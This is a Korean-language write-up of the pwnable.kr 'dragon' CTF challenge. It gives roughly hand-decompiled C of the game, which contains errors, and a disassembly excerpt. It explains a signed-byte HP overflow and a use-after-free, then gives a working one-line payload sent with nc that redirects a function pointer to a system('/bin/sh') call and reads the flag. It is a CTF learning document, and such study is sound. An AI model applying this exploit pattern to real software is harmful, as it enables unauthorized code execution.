Pwnable.kr [rookiss] dragon 문제 풀이

문제를 풀기에 앞서 pwnable.kr**에서 지금까지 풀었던 문제 중 가장 어려웠고 핸드레이 할때도 길어서 좀 헤멘 부분이 없지않아 있었던 것같다. 일단 핸드레이 한 소스부터 봐보자.**

```
int GetChoice()
{
	int vc;

	scanf("%d", &vc);
	while(getchar() != 10)
	{
		return vc;
	}
}

int PrintPlayerInfo(int *a1)
{
	if(a1 == 1)
	{
		printf("[ Priest ] %d HP / %d MP\n\t[ 1 ] Holy Bolt [ Cost : 10 MP ]\n\t\tDeals 20 Damage.\n\t[ 2 ] Clarity [ Cost : 0 MP ]\n\t\tRefreshes All Mana.\n\t[ 3 ] HolyShield [ Cost: 25 MP ]\n\t\tYou Become Temporarily Invincible", *(a1 + 1), *(a1 + 2));
	}
	else if(a1 == 2)
	{
		printf("[ Knight ] %d HP / 0 Mana\n\t[ 1 ] Crash\n\t\tDeals 20 Damage.\n\t[ 2 ] Frenzy\n\t\tDeals 40 Damage, But You Lose 20 HP.\n", *(a1 + 1));
	}
}

int PrintmonsterInfo(int a1)
{
	if(*(a1  + 1))
	{
		printf("[ Mama Dragon ] %d HP / 10 Damage / +4 Life Regeneration.\n", *(a1 + 2));
	}
	else
	{
		printf("[ Baby Dragon ] %d HP / 30 Damage / +5 Life Regeneration.\n", *(a1 + 2));
	}
}

int PriestAttack(int *a1, int *a2)
{
	int vc;

	*a2(a2);
	*(a1 + 3)(a1);
```

```
        vc = GetChoice();
        if(vc == 2)
        {
                puts("Clarity! Your Mana Has Been Refreshed");
                *(a1 + 2) = 50;
                printf("But The Dragon Deals %d Damage To You!\n", *(a2 + 3));

                *(a1 + 1) = *(a1 + 1) - *(a2 + 3);
                printf("And The Dragon Heals %d HP!\n", *((char *)a2 + 9));
                *((char *)a2 + 8) = *((char *)a2 + 9) + *((char *)a2 + 8);
        }
        if(vc == 3)
        {
                if(*(a1 + 2) > 24)
                {
                        puts("HolyShield! You Are Temporarily Invincible...");
                        printf("But The Dragon Heals %d HP!\n", *((char *)a2 + 9));
                        *((char *)a2 + 9) += *((char *)a2 +8);
                        *((char *)a1 + 8) = *((char *)a2 + 9);
                        *(a1 + 2) -= 25;
                }
        }
        if(vc == 1)
        {
                if(*(a1 + 2) <= 9)
                {
                        puts("Not Enough MP!");
                }
                else
                {
                        printf("Holy Bolt Deals %d Damage To The Dragon!\n", 20);
                        *((char *)a2 + 8) =- 20;
                        *(a1 + 2) = *(a1 + 2) - 10;
                        printf("But The Dragon Deals %d Damage To You!\n", *(a2 + 3));
                        *(a1 + 1) -= *(a2 + 3);
                        printf("And The Dragon Heals %d HP!\n", *((char *)a2 + 9));
                        *((char *)a2 + 9) += *((char *)a2 + 8);
                        *((char *)a2 + 8) = *((char *)a2 + 9);
                }
        if(*(a1 + 1) <= 0)
        {
                free(a2);
                return 0;
        }
        while(*(char *)a2 + 8 > 0)
        {
                free(a2);
                return 1;
        }
}

int KnightAttack(int *a1, int *a2)
```

```
{
        *a2(a2);
        *(a1 + 3)(a1);
        a2 = GetChoice();
        if(a2 == 1)
        {
                printf("Crash Deals %d Damage To The Dragon!\n", 20);
                *((char *)a2 + 8) -= 20;
                printf("But The Dragon Deals %d Damage To You!\n", *(a2 + 3));
                *(a1 + 1) -= *(a2 + 3);
                printf(, *((char *)a2 + 9));
                *((char *)a2 + 9) += *((char *)a2 + 8);
                *((char *)a2 + 8) = *((char *)a2 + 9);
        }
        else if(a2 == 2)
        {
                printf("Frenzy Deals %d Damage To The Dragon!\n", 40);
                *((char *)a2 + 8) -= 40;
                puts("But You Also Lose 20 HP...");
                *(a1 + 1) -= 20;
                printf("And The Dragon Deals %d Damage To You!\n", *(a2 + 3));
                *(a1 + 1) -= *(a2 + 3);
                printf("Plus The Dragon Heals %d HP!\n", *((char *)a2 + 9));
                *((char *)a2 + 9) += *((char *)a2 + 8);
                *((char *)a2 +8) = *((Char *)a2 + 9);
        }
        if(*(a1 + 1) <= 0)
        {
                free(a2);
                return 0;
        }
        else
        {
                while(*((char *)a2 + 8) > 0)
                {
                        free(a2);
                        return 1;
                }
        }
}

int SecretLevel()
{
        int vc;
        char v16[10];

        printf("Welcome to Secret Level!\nInput Password : ");
        scanf("%10s", v16);
        if(strcmp(v16, "Nice_Try_But_The_Dragons_Won't_Let_You!"))
        {
                puts("Wrong!\n");
                exit(-1);
```

```
        }
        system("/bin/sh");
}

}

int FightDragon(int a1)
{
        int *v10, *v14, *v18;

        v14 = (int *)malloc(0x10);
        v10 = (int *)malloc(0x10);

        if(count++ & 1 != 0)
        {
                *(v10 + 1) = 0;
                *(v10 + 2) = 32;
                *((char *)v10 + 9) = 5;
                *(v10 + 3) = 30;
                *v10 = PrintMonsterInfo;
                puts("Baby Dragon Has Appeared!");
        }
        else
        {
                *(v10 + 1) = 1;
                *(v10 + 2) = 50;
                *((char *)v10 + 9) = 4;
                *(v10 + 3) = 10;
                *v10 = PrintMonsterInfo;
                puts("Mama Dragon Has Appeared!");
        }
        if(a1 == 1)
        {
                *v14 = 1;
                *(v14 + 1) = 42;
                *(v14 + 2) = 50;
                *(v14 + 3) = PrintPlayerInfo;
                *v18 = PriestAttack(v14, v10);
        }
        else if(a1 == 2)
        {
                *v14 = 2;
                *(v14 + 1) = 50;
                *(v14 + 2) = 0;
                *(v14 + 3) = PrintPlayerInfo;
                *v18 = KnightAttack(v14, v10);
        }
        if(v18 == 0)
        {
                puts("\nYou Have Been Defeated!");
        }
        else
```

```
        {
                puts("Well Done Hero! You Killed The Dragon!");
                puts("The World Will Remember You As:");
                vc = malloc(0x10);
                scanf("%16s", vc);
                puts("And The Dragon You Have Defeated Was Called:");
                *v10(v10);
        }
        free(v14);
}

int PlayGame()
{
        int vc;

        while(1)
        {
                puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
                vc = GetChoice();
                if(vc == 1)
                {
                        vc = 1;
                        FightDragon(vc);
                }
                if(vc == 2)
                {
                        vc = 2;
                        FightDragon(vc);
                }
                if(vc == 3)
                {
                        SecretLevel();
                }
        }
}
int main()
{
        setvbuf(stdout, 0, 2, 0);
        setvbuf(stdin, 0, 2, 0);
        puts("Welcome to Dragon Hunter!");
        PlayGame();

        return 0;
}
```

일단 메인에서 PlayGame함수를 호출을 하여 게임을 실행시킨다. PlayGame함수를 보면 3번을 누르면 SecretLevel함수로 넘어가는걸 알수 있었다.

SecretLevel함수를 봐보면 password를 입력 하라고 하는데 password같이 생긴 Nice_Try_But_The_Dragons_Won't_Let_You!를 입력 하게 되면 입력을 받는 크기가 10byte밖에 되지 않아서 다 쓸수 없게 된다.

그럼 일단 어떤방식으로 게임으로 인하여 flag를 열수 있을지 확인해보자.

FightDragon함수를 보면 드래곤을 죽인후 입력값을 받고 free함수를 사용하는데 여기서 use after free 취약점이 발생 된다.
그럼 UAF을 사용 하기에 앞서 드래곤을 죽이는 방법 부터 알아보자.

드래곤은 어처구니 없는 방법으로 죽게되는데, 기본적으로 모든 정수는 음수 인지 양수인지 반별할때 최상위 비트가 켜져있느냐 안켜져 있느냐로 판단하게된다. (1인경우 음수 0인경우에는 양수를 표현한다.)

```
0x080487b0 <+114>:    mov    eax,DWORD PTR [ebp-0x10]
0x080487b3 <+117>:    mov    DWORD PTR [eax+0x4],0x1
0x080487ba <+124>:    mov    eax,DWORD PTR [ebp-0x10]
0x080487bd <+127>:    mov    BYTE PTR [eax+0x8],0x50
0x080487c1 <+131>:    mov    eax,DWORD PTR [ebp-0x10]
0x080487c4 <+134>:    mov    BYTE PTR [eax+0x9],0x4
0x080487c8 <+138>:    mov    eax,DWORD PTR [ebp-0x10]
0x080487cb <+141>:    mov    DWORD PTR [eax+0xc],0xa
0x080487d2 <+148>:    mov    eax,DWORD PTR [ebp-0x10]
0x080487d5 <+151>:    mov    DWORD PTR [eax],0x8048d05
0x080487db <+157>:    mov    DWORD PTR [esp],0x80490a5
0x080487e2 <+164>:    call   0x8048520 <puts@plt>
```

위의 어셈블리어는 FightDragon함수 중에서 mamadragon의 정보를 나타내고 있는 함수이다.
빨간색으로 되어 있는 부분이 드래곤의 피를 넣어주는 부분인데 피를 1byte의 공간에 넣어주고있다.
즉 피를 넣어주는 공간은 8개의 비트로 이루어져 있다는 소리가 된다.
비트의 모양은 대충이렇다.

2^7 (128)	2^6 (64)	2^5 (32)	2^4 (16)	2^3 (8)	2^2 (4)	2^1 (2)	1 (1)

결국 두번째 비트(2^6)비트부터 끝까지 전부 켜져있는 비트의 수가 127개라는 소리인데 이 말은 수가 127을 넘어가는 순간 첫번째 비트(2^7)가 켜지면서 마이너스가 되버린다는 소리다. 드래곤이 순식간에 0보다 작아져서 드래곤이 죽어버린다.

이제 드래곤을 죽였으면 UAF취약점에 관하여 알아보자.

UAF 취약점은 malloc함수를 사용후 free함수로 초기화를 해주지만 malloc함수로 다시 한번 같은 크기를 할당 받게 되면 똑같은 주소를 주게 되는데 free함수로 공간을 비워 줬다고 해서 공간안에 있는 수까지 사라지는 것이 아니기 때문에 생기는 취약점이다.

이걸 토대로 드래곤을 죽인 후, SerectLevel함수에서 사용 되고 있는 system함수의 주소값을 줘서 쉘을 띄운 다음 명령어를 주면 flag를 읽을 수있다. 그럼 한번 서버에 직접 들어가 해보도록 하겠다.

```
(python2 -c 'print"2\n2\n1\n3\n3\n2\n3\n3\n2\n3\n3\n2\n3\n3\n2\n\xbf\x8d\x04\x08\n"' ; cat) |nc pwnable.kr 9004
```

cat 명령어로 파이프를 유지해준 다음, cat flag를 해주게 되면 완성이다.

```
ls
dragon
flag
log
```

super.pl
cat flag
플래그는 일부러 가렸습니다..^^